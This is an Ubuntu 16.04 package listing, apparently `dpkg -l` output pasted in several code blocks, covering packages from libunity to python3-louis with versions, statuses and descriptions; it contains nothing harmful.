ii libunity-control-center1 15.04.0+16.04.20170214-0ubuntu1 amd64 utilities to configure the GNOME desktop
ii libunity-core-6.0-9 7.4.0+16.04.20160906-0ubuntu1 amd64 core library for the Unity interface
ii libunity-gtk2-parser0 0.0.0+15.04.20150118-0ubuntu2 amd64 GtkMenuShell to GMenuModel parser
ii libunity-gtk3-parser0 0.0.0+15.04.20150118-0ubuntu2 amd64 GtkMenuShell to GMenuModel parser
```

```
ii libunity-misc4 4.0.5+14.04.20140115-0ubuntu1 amd64 Miscellaneous functions for Unity - shared library
ii libunity-protocol-private0 7.1.4+16.04.20160701-0ubuntu1 amd64 binding to get places into the launcher - private library
ii libunity-scopes-json-def-desktop 7.1.4+16.04.20160701-0ubuntu1 all binding to get places into the launcher - desktop def file
ii libunity-settings-daemon1 15.04.1+16.04.20160701-0ubuntu1 amd64 Helper library for accessing settings
ii libunity-webapps0 2.5.0~+16.04.20160201-0ubuntu1 amd64 Web Apps integration with the Unity desktop
ii libunity9 7.1.4+16.04.20160701-0ubuntu1 amd64 binding to get places into the launcher - shared library
ii libunwind8 1.1-4.1 amd64 library to determine the call-chain of a program - runtime
ii libupower-glib3 0.99.4-2ubuntu0.3 amd64 abstraction for power management - shared library
ii liburi-perl 1.71-1 all module to manipulate and access URI strings
ii liburl-dispatcher1 0.1+16.04.20151110-0ubuntu2 amd64 library for sending requests to the url dispatcher
ii libusb-0.1-4 2:0.1.12-28 amd64 userspace USB programming library
ii libusb-1.0-0 2:1.0.20-1 amd64 userspace USB programming library
ii libusbmuxd4 1.0.10-2ubuntu0.1 amd64 USB multiplexor daemon for iPhone and iPod Touch devices - library
ii libustr-1.0-1 1.0.4-5 amd64 Micro string library: shared library
ii libutempter0 1.1.6-3 amd64 privileged helper for utmp/wtmp updates (runtime)
ii libuuid-perl 0.24-1build1 amd64 Perl extension for using UUID interfaces as defined in e2fsprogs
ii libuuid1 2.27.1-6ubuntu3.3 amd64 Universally Unique ID library
ii libv4l-0 1.10.0-1 amd64 Collection of video4linux support libraries
ii libv4lconvert0 1.10.0-1 amd64 Video4linux frame format conversion library
ii libvisio-0.1-1 0.1.5-1ubuntu1 amd64 library for parsing the visio file structure
ii libvisual-0.4-0 0.4.0-8 amd64 audio visualization framework
iU libvncclient1 0.9.10+dfsg-3ubuntu0.16.04.6 amd64 API to write one's own VNC server - client library
iU libvorbis0a 1.3.5-3ubuntu0.2 amd64 decoder library for Vorbis General Audio Compression Codec
iU libvorbisenc2 1.3.5-3ubuntu0.2 amd64 encoder library for Vorbis General Audio Compression Codec
iU libvorbisfile3 1.3.5-3ubuntu0.2 amd64 high-level API for Vorbis General Audio Compression Codec
iU libvpx3 1.5.0-2ubuntu1.1 amd64 VP8 and VP9 video codec (shared library)
ii libvte-2.91-0 0.42.5-1ubuntu1 amd64 Terminal emulator widget for GTK+ 3.0 - runtime files
ii libvte-2.91-common 0.42.5-1ubuntu1 all Terminal emulator widget for GTK+ 3.0 - common files
ii libwacom-bin 0.22-1~ubuntu16.04.1 amd64 Wacom model feature query library -- binaries
ii libwacom-common 0.22-1~ubuntu16.04.1 all Wacom model feature query library (common files)
ii libwacom2 0.22-1~ubuntu16.04.1 amd64 Wacom model feature query library
iU libwavpack1 4.75.2-2ubuntu0.2 amd64 audio codec (lossy and lossless) - library
iU libwayland-client0 1.12.0-1~ubuntu16.04.3 amd64 wayland compositor infrastructure - client library
iU libwayland-cursor0 1.12.0-1~ubuntu16.04.3 amd64 wayland compositor infrastructure - cursor library
ii libwayland-egl1-mesa 17.0.7-0ubuntu0.16.04.2 amd64 implementation of the Wayland EGL platform -- runtime
iU libwayland-server0 1.12.0-1~ubuntu16.04.3 amd64 wayland compositor infrastructure - server library
iU libwbclient0 2:4.3.11+dfsg-0ubuntu0.16.04.34 amd64 Samba winbind client library
iU libwebkit2gtk-4.0-37 2.20.5-0ubuntu0.16.04.1 amd64 Web content engine library for GTK+
iU libwebkit2gtk-4.0-37-gtk2 2.20.5-0ubuntu0.16.04.1 amd64 Web content engine library for GTK+ - GTK+2 plugin process
ii libwebp5 0.4.4-1 amd64 Lossy compression of digital photographic images.
iU libwebpdemux1 0.4.4-1 amd64 Lossy compression of digital photographic images.
ii libwebpmux1 0.4.4-1 amd64 Lossy compression of digital photographic images.
ii libwebrtc-audio-processing-0 0.1-3ubuntu1~gcc5.1 amd64 AudioProcessing module from the WebRTC project.
ii libwhoopsie-preferences0 0.18 amd64 Ubuntu error tracker submission settings - shared library
ii libwhoopsie0 0.2.52.5ubuntu0.5 amd64 Ubuntu error tracker submission - shared library
ii libwind0-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - stringprep implementation
iU libwinpr-crt0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (crt library)
iU libwinpr-dsparse0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (dsparse library)
iU libwinpr-environment0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (environment library)
iU libwinpr-file0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (file library)
iU libwinpr-handle0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (handle library)
iU libwinpr-heap0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (heap library)
iU libwinpr-input0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (input library)
iU libwinpr-interlocked0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (interlocked library)
iU libwinpr-library0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (library)
iU libwinpr-path0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (path library)
iU libwinpr-pool0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (pool library)
iU libwinpr-registry0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (registry library)
iU libwinpr-rpc0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (RPC library)
iU libwinpr-sspi0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (sspi library)
iU libwinpr-synch0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (synch library)
iU libwinpr-sysinfo0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (sysinfo library)
iU libwinpr-thread0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (thread library)
iU libwinpr-utils0.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Windows Portable Runtime library (utils library)
ii libwmf0.2-7 0.2.8.4-10.5ubuntu1 amd64 Windows metafile conversion library
ii libwmf0.2-7-gtk 0.2.8.4-10.5ubuntu1 amd64 Windows metafile conversion library
ii libwnck-3-0 3.14.1-2 amd64 Window Navigator Construction Kit - runtime files
ii libwnck-3-common 3.14.1-2 all Window Navigator Construction Kit - common files
ii libwpd-0.10-10 0.10.1-1ubuntu1 amd64 Library for handling WordPerfect documents (shared library)
ii libwpg-0.3-3 0.3.1-1ubuntu1 amd64 WordPerfect graphics import/convert library (shared library)
ii libwps-0.4-4 0.4.3-1ubuntu1 amd64 Works text file format import filter library (shared library)
ii libwrap0 7.6.q-25 amd64 Wietse Venema's TCP wrappers library
ii libwww-perl 6.15-1 all simple and consistent interface to the world-wide web
ii libwww-robotrules-perl 6.01-1 all database of robots.txt-derived permissions
iU libx11-6 2:1.6.3-1ubuntu2.2 amd64 X11 client-side library
iU libx11-data 2:1.6.3-1ubuntu2.2 all X11 client-side library
ii libx11-protocol-perl 0.56-7 all Perl module for the X Window System Protocol, version 11
iU libx11-xcb1 2:1.6.3-1ubuntu2.2 amd64 Xlib/XCB interface library
ii libx86-1 1.1+ds1-10 amd64 x86 real-mode library
ii libxapian22v5 1.2.22-2 amd64 Search engine library
ii libxatracker2 17.0.7-0ubuntu0.16.04.2 amd64 X acceleration library -- runtime
ii libxau6 1:1.0.8-1 amd64 X11 authorisation library
ii libxaw7 2:1.0.13-1 amd64 X11 Athena Widget library
ii libxcb-dri2-0 1.11.1-1ubuntu1 amd64 X C Binding, dri2 extension
ii libxcb-dri3-0 1.11.1-1ubuntu1 amd64 X C Binding, dri3 extension
ii libxcb-glx0 1.11.1-1ubuntu1 amd64 X C Binding, glx extension
ii libxcb-icccm4 0.4.1-1ubuntu1 amd64 utility libraries for X C Binding -- icccm
ii libxcb-image0 0.4.0-1build1 amd64 utility libraries for X C Binding -- image
ii libxcb-keysyms1 0.4.0-1 amd64 utility libraries for X C Binding -- keysyms
ii libxcb-present0 1.11.1-1ubuntu1 amd64 X C Binding, present extension
ii libxcb-randr0 1.11.1-1ubuntu1 amd64 X C Binding, randr extension
ii libxcb-render-util0 0.3.9-1 amd64 utility libraries for X C Binding -- render-util
ii libxcb-render0 1.11.1-1ubuntu1 amd64 X C Binding, render extension
ii libxcb-shape0 1.11.1-1ubuntu1 amd64 X C Binding, shape extension
ii libxcb-shm0 1.11.1-1ubuntu1 amd64 X C Binding, shm extension
ii libxcb-sync1 1.11.1-1ubuntu1 amd64 X C Binding, sync extension
ii libxcb-util1 0.4.0-0ubuntu3 amd64 utility libraries for X C Binding -- atom, aux and event
ii libxcb-xfixes0 1.11.1-1ubuntu1 amd64 X C Binding, xfixes extension
ii libxcb-xkb1 1.11.1-1ubuntu1 amd64 X C Binding, XKEYBOARD extension
```

```
ii libxcb1 1.11.1-1ubuntu1 amd64 X C Binding
ii libxcomposite1 1:0.4.4-1 amd64 X11 Composite extension library
iU libxcursor1 1:1.1.14-1ubuntu0.16.04.2 amd64 X cursor management library
ii libxdamage1 1:1.1.4-2 amd64 X11 damaged region extension library
ii libxdmcp6 1:1.1.2-1.1 amd64 X11 Display Manager Control Protocol library
ii libxext6 2:1.3.3-1 amd64 X11 miscellaneous extension library
ii libxfixes3 1:5.0.1-2 amd64 X11 miscellaneous 'fixes' extension library
iU libxfont1 1:1.5.1-1ubuntu0.16.04.4 amd64 X11 font rasterisation library
iU libxfont2 1:2.0.1-3~ubuntu16.04.3 amd64 X11 font rasterisation library
ii libxft2 2.3.2-1 amd64 FreeType-based font drawing library for X
ii libxi6 2:1.7.6-1 amd64 X11 Input extension library
ii libxinerama1 2:1.1.3-1 amd64 X11 Xinerama extension library
iU libxkbcommon-x11-0 0.5.0-1ubuntu2.1 amd64 library to create keymaps with the XKB X11 protocol
iU libxkbcommon0 0.5.0-1ubuntu2.1 amd64 library interface to the XKB compiler - shared library
ii libxkbfile1 1:1.0.9-0ubuntu1 amd64 X11 keyboard file manipulation library
ii libxklavier16 5.4-0ubuntu2 amd64 X Keyboard Extension high-level API
ii libxml-parser-perl 2.44-1build1 amd64 Perl module for parsing XML files
ii libxml-twig-perl 1:3.48-1 all Perl module for processing huge XML documents in tree mode
ii libxml-xpathengine-perl 0.13-1 all re-usable XPath engine for DOM-like trees
iU libxml2 2.9.3+dfsg1-1ubuntu0.7 amd64 GNOME XML library
ii libxmu6 2:1.1.2-2 amd64 X11 miscellaneous utility library
ii libxmuu1 2:1.1.2-2 amd64 X11 miscellaneous micro-utility library
ii libxpm4 1:3.5.11-1ubuntu0.16.04.1 amd64 X11 pixmap library
ii libxrandr2 2:1.5.0-1 amd64 X11 RandR extension library
ii libxrender1 1:0.9.9-0ubuntu1 amd64 X Rendering Extension client library
ii libxres1 2:1.0.7-1 amd64 X11 Resource extension library
ii libxshmfence1 1.2-1 amd64 X shared memory fences - shared library
iU libxslt1.1 1.1.28-2.1ubuntu0.3 amd64 XSLT 1.0 processing library - runtime library
ii libxss1 1:1.2.2-1 amd64 X11 Screen Saver extension library
ii libxt6 1:1.1.5-0ubuntu1 amd64 X11 toolkit intrinsics library
ii libxtables11 1.6.0-2ubuntu3 amd64 netfilter xtables library
ii libxtst6 2:1.2.2-1 amd64 X11 Testing -- Record extension library
ii libxv1 2:1.0.10-1 amd64 X11 Video extension library
ii libxvmc1 2:1.0.9-1ubuntu1 amd64 X11 Video extension library
ii libxxf86dga1 2:1.1.4-1 amd64 X11 Direct Graphics Access extension library
ii libxxf86vm1 1:1.1.4-1 amd64 X11 XFree86 video mode extension library
ii libyajl2 2.1.0-2 amd64 Yet Another JSON Library
ii libyaml-0-2 0.1.6-3 amd64 Fast YAML 1.1 parser and emitter library
ii libyaml-libyaml-perl 0.41-6build1 amd64 Perl interface to libyaml, a YAML implementation
ii libyaml-tiny-perl 1.69-1 all Perl module for reading and writing YAML files
ii libyelp0 3.18.1-1ubuntu4 amd64 Library for the GNOME help browser
ii libzeitgeist-1.0-1 0.3.18-1ubuntu3 amd64 library to access Zeitgeist - shared library
ii libzeitgeist-2.0-0 0.9.16-0ubuntu4 amd64 library to access Zeitgeist - shared library
ii light-themes 14.04+16.04.20161024-0ubuntu1 all Light Themes (Ambiance and Radiance)
ii lightdm 1.18.3-0ubuntu1.1 amd64 Display Manager
ii lintian 2.5.43ubuntu0.1 all Debian package checker
iU linux-base 4.5ubuntu1.2~16.04.1 all Linux image base package
iU linux-firmware 1.157.23 all Firmware for Linux kernel drivers
iU linux-generic-hwe-16.04 4.15.0.142.137 amd64 Complete Generic Linux kernel and headers
ii linux-headers-4.10.0-28 4.10.0-28.32~16.04.2 all Header files related to Linux kernel version 4.10.0
ii linux-headers-4.10.0-28-generic 4.10.0-28.32~16.04.2 amd64 Linux kernel headers for version 4.10.0 on 64 bit x86 SMP
iU linux-headers-4.15.0-142 4.15.0-142.146~16.04.1 all Header files related to Linux kernel version 4.15.0
iU linux-headers-4.15.0-142-generic 4.15.0-142.146~16.04.1 amd64 Linux kernel headers for version 4.15.0 on 64 bit x86 SMP
iU linux-headers-generic-hwe-16.04 4.15.0.142.137 amd64 Generic Linux kernel headers
ii linux-image-4.10.0-28-generic 4.10.0-28.32~16.04.2 amd64 Linux kernel image for version 4.10.0 on 64 bit x86 SMP
iU linux-image-4.15.0-142-generic 4.15.0-142.146~16.04.1 amd64 Signed kernel image generic
ii linux-image-extra-4.10.0-28-generic 4.10.0-28.32~16.04.2 amd64 Linux kernel extra modules for version 4.10.0 on 64 bit x86 SMP
iU linux-image-generic-hwe-16.04 4.15.0.142.137 amd64 Generic Linux kernel image
iU linux-libc-dev 4.4.0-210.242 amd64 Linux Kernel Headers for development
iU linux-modules-4.15.0-142-generic 4.15.0-142.146~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86 SMP
iU linux-modules-extra-4.15.0-142-generic 4.15.0-142.146~16.04.1 amd64 Linux kernel extra modules for version 4.15.0 on 64 bit x86
SMP
ii linux-sound-base 1.0.25+dfsg-0ubuntu5 all base package for ALSA and OSS sound systems
iU locales 2.23-0ubuntu11.3 all GNU C Library: National Language (locale) data [support]
ii login 1:4.2-3.1ubuntu5.3 amd64 system login tools
ii logrotate 3.8.7-2ubuntu2.16.04.2 amd64 Log rotation utility
ii lp-solve 5.5.0.13-7build2 amd64 Solve (mixed integer) linear programming problems
ii lsb-base 9.20160110ubuntu0.2 all Linux Standard Base init script functionality
ii lsb-release 9.20160110ubuntu0.2 all Linux Standard Base version reporting utility
ii lshw 02.17-1.1ubuntu3.4 amd64 information about hardware configuration
ii lsof 4.89+dfsg-0.1 amd64 Utility to list open files
ii ltrace 0.7.3-5.1ubuntu4 amd64 Tracks runtime library calls in dynamically linked programs
ii make 4.1-6 amd64 utility for directing compilation
ii makedev 2.3.1-93ubuntu2~ubuntu16.04.1 all creates device files in /dev
it man-db 2.7.5-1 amd64 on-line manual pager
ii manpages 4.04-2 all Manual pages about using a GNU/Linux system
ii manpages-dev 4.04-2 all Manual pages about using GNU/Linux for development
ii mawk 1.3.3-17ubuntu2 amd64 a pattern scanning and text processing language
ii media-player-info 22-2 all Media player identification files
ii memtest86+ 5.01-3ubuntu2 amd64 thorough real-mode memory tester
ii metacity-common 1:3.18.7-0ubuntu0.3 all shared files for the Metacity window manager
it mime-support 3.59ubuntu1 all MIME files 'mime.types' & 'mailcap', and support programs
ii mlocate 0.26-1ubuntu2 amd64 quickly find files on the filesystem based on their name
ii mobile-broadband-provider-info 20140317-1 all database of mobile broadband service providers
ii modemmanager 1.4.12-1ubuntu1 amd64 D-Bus service for managing modems
ii mount 2.27.1-6ubuntu3.3 amd64 tools for mounting and manipulating filesystems
ii mountall 2.54ubuntu1 amd64 filesystem mounting tool
ii mousetweaks 3.12.0-1ubuntu2 amd64 mouse accessibility enhancements for the GNOME desktop
ii mscompress 0.4-3 amd64 Microsoft "compress.exe/expand.exe" compatible (de)compressor
ii mtools 4.0.18-2ubuntu0.16.04 amd64 Tools for manipulating MSDOS files
ii mtr-tiny 0.86-1ubuntu0.1 amd64 Full screen ncurses traceroute tool
ii multiarch-support 2.23-0ubuntu11.3 amd64 Transitional package to ensure multiarch compatibility
iU mysql-client 5.7.33-0ubuntu0.16.04.1 all MySQL database client (metapackage depending on the latest version)
iU mysql-client-5.7 5.7.33-0ubuntu0.16.04.1 amd64 MySQL database client binaries
iU mysql-client-core-5.7 5.7.33-0ubuntu0.16.04.1 amd64 MySQL database core client binaries
ii mysql-common 5.7.33-0ubuntu0.16.04.1 all MySQL database common files, e.g. /etc/mysql/my.cnf
iU mysql-server 5.7.33-0ubuntu0.16.04.1 all MySQL database server (metapackage depending on the latest version)
iU mysql-server-5.7 5.7.33-0ubuntu0.16.04.1 amd64 MySQL database server binaries and system database setup
iU mysql-server-core-5.7 5.7.33-0ubuntu0.16.04.1 amd64 MySQL database server binaries
```

```
ii mythes-en-us 1:5.1.0-1ubuntu2.2 all English (USA) Thesaurus for LibreOffice
ii nano 2.5.3-2ubuntu2 amd64 small, friendly text editor inspired by Pico
ii nautilus 1:3.18.4.is.3.14.3-0ubuntu6 amd64 file manager and graphical shell for GNOME
ii nautilus-data 1:3.18.4.is.3.14.3-0ubuntu6 all data files for nautilus
ii nautilus-sendto 3.8.2-1ubuntu1 amd64 integrates Evolution and Pidgin into the Nautilus file manager
ii nautilus-share 0.7.3-2ubuntu1 amd64 Nautilus extension to share folder using Samba
ii ncurses-base 6.0+20160213-1ubuntu1 all basic terminal type definitions
ii ncurses-bin 6.0+20160213-1ubuntu1 amd64 terminal-related programs and man pages
ii ncurses-term 6.0+20160213-1ubuntu1 all additional terminal type definitions
ii net-tools 1.60-26ubuntu1 amd64 NET-3 networking toolkit
ii netbase 5.3 all Basic TCP/IP networking system
ii netcat-openbsd 1.105-7ubuntu1 amd64 TCP/IP swiss army knife
ii netpbm 2:10.0-15.3 amd64 Graphics conversion tools between image formats
iU network-manager 1.2.6-0ubuntu0.16.04.3 amd64 network management framework (daemon and userspace tools)
ii network-manager-gnome 1.2.6-0ubuntu0.16.04.4 amd64 network management framework (GNOME frontend)
ii network-manager-pptp 1.1.93-1ubuntu1 amd64 network management framework (PPTP plugin core)
ii network-manager-pptp-gnome 1.1.93-1ubuntu1 amd64 network management framework (PPTP plugin GNOME GUI)
ii notify-osd 0.9.35+16.04.20160415-0ubuntu1 amd64 daemon that displays passive pop-up notifications
ii notify-osd-icons 0.8+15.10.20151016.2-0ubuntu1 all Notify-OSD icons
iU ntfs-3g 1:2015.3.14AR.1-1ubuntu0.3 amd64 read/write NTFS driver for FUSE
ii nux-tools 4.0.8+16.04.20160705-0ubuntu1 amd64 Visual rendering toolkit for real-time applications - tools
ii onboard 1.2.0-0ubuntu5 amd64 Simple On-screen Keyboard
ii onboard-data 1.2.0-0ubuntu5 all Language model files for the word suggestion feature of Onboard
ii openoffice.org-hyphenation 0.9 all Hyphenation patterns for OpenOffice.org
ii openprinting-ppds 20160212-0ubuntu1 all OpenPrinting printer support - PostScript PPD files
iU openssh-client 1:7.2p2-4ubuntu2.8 amd64 secure shell (SSH) client, for secure access to remote machines
iU openssh-server 1:7.2p2-4ubuntu2.8 amd64 secure shell (SSH) server, for secure access from remote machines
iU openssh-sftp-server 1:7.2p2-4ubuntu2.8 amd64 secure shell (SSH) sftp server module, for SFTP access from remote machines
iU openssl 1.0.2g-1ubuntu4.20 amd64 Secure Sockets Layer toolkit - cryptographic utility
ii os-prober 1.70ubuntu3.3 amd64 utility to detect other OSes on a set of drives
ii overlay-scrollbar 0.2.17.1+16.04.20151117-0ubuntu1.16.04.1 all Scrollbar overlay - configuration
ii overlay-scrollbar-gtk2 0.2.17.1+16.04.20151117-0ubuntu1.16.04.1 amd64 GTK 2 module for overlay scrollbars
ii oxideqt-codecs 1.21.5-0ubuntu0.16.04.1 amd64 Web browser engine for Qt (codecs)
iU p11-kit 0.23.2-5~ubuntu16.04.2 amd64 p11-glue utilities
iU p11-kit-modules 0.23.2-5~ubuntu16.04.2 amd64 p11-glue proxy and trust modules
ii parted 3.2-15 amd64 disk partition manipulator
ii passwd 1:4.2-3.1ubuntu5.3 amd64 change and administer password and group data
iU patch 2.7.5-1ubuntu0.16.04.2 amd64 Apply a diff file to an original
ii patchutils 0.3.4-1 amd64 Utilities to work with patches
ii pciutils 1:3.3.1-1.1ubuntu1.1 amd64 Linux PCI Utilities
ii pcmciautils 018-8 amd64 PCMCIA utilities for Linux 2.6
iU perl 5.22.1-9ubuntu0.9 amd64 Larry Wall's Practical Extraction and Report Language
ii perl-base 5.22.1-9ubuntu0.9 amd64 minimal Perl system
iU perl-modules-5.22 5.22.1-9ubuntu0.9 all Core Perl modules
ii php-common 1:35ubuntu6 all Common files for PHP packages
iU php7.0 7.0.33-0ubuntu0.16.04.16 all server-side, HTML-embedded scripting language (metapackage)
iU php7.0-cgi 7.0.33-0ubuntu0.16.04.16 amd64 server-side, HTML-embedded scripting language (CGI binary)
iU php7.0-cli 7.0.33-0ubuntu0.16.04.16 amd64 command-line interpreter for the PHP scripting language
iU php7.0-common 7.0.33-0ubuntu0.16.04.16 amd64 documentation, examples and common module for PHP
iU php7.0-gd 7.0.33-0ubuntu0.16.04.16 amd64 GD module for PHP
iU php7.0-json 7.0.33-0ubuntu0.16.04.16 amd64 JSON module for PHP
iU php7.0-mysql 7.0.33-0ubuntu0.16.04.16 amd64 MySQL module for PHP
iU php7.0-opcache 7.0.33-0ubuntu0.16.04.16 amd64 Zend OpCache module for PHP
iU php7.0-readline 7.0.33-0ubuntu0.16.04.16 amd64 readline module for PHP
ii pinentry-curses 0.9.7-3 amd64 curses-based PIN or pass-phrase entry dialog for GnuPG
ii pinentry-gnome3 0.9.7-3 amd64 GNOME 3 PIN or pass-phrase entry dialog for GnuPG
ii pkg-config 0.29.1-0ubuntu1 amd64 manage compile and link flags for libraries
ii plainbox-provider-checkbox 0.25-1 amd64 CheckBox provider for PlainBox
ii plainbox-provider-resource-generic 0.23-1 amd64 CheckBox generic resource jobs provider
ii plainbox-secure-policy 0.25-1 all policykit policy required to use plainbox (secure version)
ii plymouth 0.9.2-3ubuntu13.2 amd64 boot animation, logger and I/O multiplexer
ii plymouth-label 0.9.2-3ubuntu13.2 amd64 boot animation, logger and I/O multiplexer - label control
ii plymouth-theme-ubuntu-logo 0.9.2-3ubuntu13.2 amd64 boot animation, logger and I/O multiplexer - ubuntu theme
ii plymouth-theme-ubuntu-text 0.9.2-3ubuntu13.2 amd64 boot animation, logger and I/O multiplexer - ubuntu text theme
ii pm-utils 1.4.1-16 all utilities and scripts for power management
iU policykit-1 0.105-14.1ubuntu0.5 amd64 framework for managing administrative policies and privileges
ii policykit-1-gnome 0.105-2ubuntu2 amd64 GNOME authentication agent for PolicyKit-1
iU policykit-desktop-privileges 0.20ubuntu16.04.1 all run common desktop actions without password
ii poppler-data 0.4.7-7 all encoding data for the poppler PDF rendering library
iU poppler-utils 0.41.0-0ubuntu1.16 amd64 PDF utilities (based on Poppler)
ii popularity-contest 1.64ubuntu2 all Vote for your favourite packages automatically
ii powermgmt-base 1.31+nmu1 all Common utils and configs for power management
iU ppp 2.4.7-1+2ubuntu1.16.04.3 amd64 Point-to-Point Protocol (PPP) - daemon
ii pppconfig 2.3.22 all Text menu based utility for configuring ppp
ii pppoeconf 1.21ubuntu1 all configures PPPoE/ADSL connections
ii pptp-linux 1.8.0-1 amd64 Point-to-Point Tunneling Protocol (PPTP) Client
ii printer-driver-brlaser 3-5~ubuntu1 amd64 printer driver for (some) Brother laser printers
ii printer-driver-c2esp 27-2 amd64 printer driver for Kodak ESP AiO color inkjet Series
ii printer-driver-foo2zjs 20151024dfsg0-1ubuntu1 amd64 printer driver for ZjStream-based printers
ii printer-driver-foo2zjs-common 20151024dfsg0-1ubuntu1 all printer driver for ZjStream-based printers - common files
ii printer-driver-gutenprint 5.2.11-1 amd64 printer drivers for CUPS
ii printer-driver-hpcups 3.16.3+repack0-1 amd64 HP Linux Printing and Imaging - CUPS Raster driver (hpcups)
ii printer-driver-min12xxw 0.0.9-9 amd64 printer driver for KonicaMinolta PagePro 1[234]xxW
ii printer-driver-pnm2ppa 1.13+nondbs-0ubuntu5 amd64 printer driver for HP-GDI printers
ii printer-driver-postscript-hp 3.16.3+repack0-1 all HP Printers PostScript Descriptions
ii printer-driver-ptouch 1.4-1 amd64 printer driver Brother P-touch label printers
ii printer-driver-pxljr 1.4+repack0-4 amd64 printer driver for HP Color LaserJet 35xx/36xx
ii printer-driver-sag-gdi 0.1-4ubuntu1 all printer driver for Ricoh Aficio SP 1000s/SP 1100s
ii printer-driver-splix 2.0.0+svn315-4fakesync1 amd64 Driver for Samsung and Xerox SPL2 and SPLc laser printers
iU procps 2:3.3.10-4ubuntu2.4 amd64 /proc file system utilities
ii psmisc 22.21-2.1build1 amd64 utilities that use the proc file system
iU pulseaudio 1:8.0-0ubuntu3.15 amd64 PulseAudio sound server
iU pulseaudio-module-bluetooth 1:8.0-0ubuntu3.15 amd64 Bluetooth module for PulseAudio sound server
iU pulseaudio-module-x11 1:8.0-0ubuntu3.15 amd64 X11 module for PulseAudio sound server
iU pulseaudio-utils 1:8.0-0ubuntu3.15 amd64 Command line tools for the PulseAudio sound server
ii pyotherside 1.4.0-2 all transitional dummy package
ii python 2.7.11-1 amd64 interactive high-level object-oriented language (default version)
iU python-apt-common 1.1.0~beta1ubuntu0.16.04.11 all Python interface to libapt-pkg (locales)
ii python-minimal 2.7.11-1 amd64 minimal subset of the Python language (default version)
```

```
ii python-talloc 2.1.5-2 amd64 hierarchical pool based memory allocator - Python bindings
iU python2.7 2.7.12-1ubuntu0~16.04.18 amd64 Interactive high-level object-oriented language (version 2.7)
iU python2.7-minimal 2.7.12-1ubuntu0~16.04.18 amd64 Minimal subset of the Python language (version 2.7)
ii python3 3.5.1-3 amd64 interactive high-level object-oriented language (default python3 version)
iU python3-apport 2.20.1-0ubuntu2.30+esm7 all Python 3 library for Apport crash report handling
iU python3-apt 1.1.0~beta1ubuntu0.16.04.11 amd64 Python 3 interface to libapt-pkg
iU python3-aptdaemon 1.1.1+bzr982-0ubuntu14.5 all Python 3 module for the server and client of aptdaemon
iU python3-aptdaemon.gtk3widgets 1.1.1+bzr982-0ubuntu14.5 all Python 3 GTK+ 3 widgets to run an aptdaemon client
iU python3-aptdaemon.pkcompat 1.1.1+bzr982-0ubuntu14.5 all PackageKit compatibilty for AptDaemon
ii python3-blinker 1.3.dfsg2-1build1 all fast, simple object-to-object and broadcast signaling library
ii python3-brlapi 5.3.1-2ubuntu2.1 amd64 Braille display access via BRLTTY - Python3 bindings
ii python3-bs4 4.4.1-1 all error-tolerant HTML parser for Python 3
ii python3-cairo 1.10.0+dfsg-5build1 amd64 Python 3 bindings for the Cairo vector graphics library
ii python3-cffi-backend 1.5.2-1ubuntu1 amd64 Foreign Function Interface for Python 3 calling C code - runtime
ii python3-chardet 2.3.0-2 all universal character encoding detector for Python3
ii python3-checkbox-support 0.22-1 all collection of Python modules used by PlainBox providers
ii python3-commandnotfound 0.3ubuntu16.04.2 all Python 3 bindings for command-not-found.
iU python3-cryptography 1.2.3-1ubuntu0.3 amd64 Python library exposing cryptographic recipes and primitives (Python 3)
ii python3-cups 1.9.73-0ubuntu2 amd64 Python3 bindings for CUPS
ii python3-cupshelpers 1.5.7+20160212-0ubuntu2 all Python modules for printer configuration with CUPS
ii python3-dbus 1.2.0-3 amd64 simple interprocess messaging system (Python 3 interface)
ii python3-debian 0.1.27ubuntu2 all Python 3 modules to work with Debian-related data formats
ii python3-defer 1.0.6-2build1 all Small framework for asynchronous programming (Python 3)
iU python3-distupgrade 1:16.04.25 all manage release upgrades
ii python3-feedparser 5.1.3-3build1 all Universal Feed Parser for Python 3
ii python3-gdbm 3.5.1-1 amd64 GNU dbm database support for Python 3.x
ii python3-gi 3.20.0-0ubuntu1 amd64 Python 3 bindings for gobject-introspection libraries
ii python3-gi-cairo 3.20.0-0ubuntu1 amd64 Python 3 Cairo bindings for the GObject library
ii python3-guacamole 0.9.2-1 all framework for creating command line applications (Python 3)
ii python3-html5lib 0.999-4 all HTML parser/tokenizer based on the WHATWG HTML5 specification (Python 3)
ii python3-httplib2 0.9.1+dfsg-1 all comprehensive HTTP client library written for Python3
ii python3-idna 2.0-3 all Python IDNA2008 (RFC 5891) handling (Python 3)
iU python3-jinja2 2.8-1ubuntu0.1 all small but fast and easy to use stand-alone template engine
ii python3-jwt 1.3.0-1ubuntu0.1 all Python 3 implementation of JSON Web Token
ii python3-louis 2.6.4-2ubuntu0.1 all Python bindings for liblouis
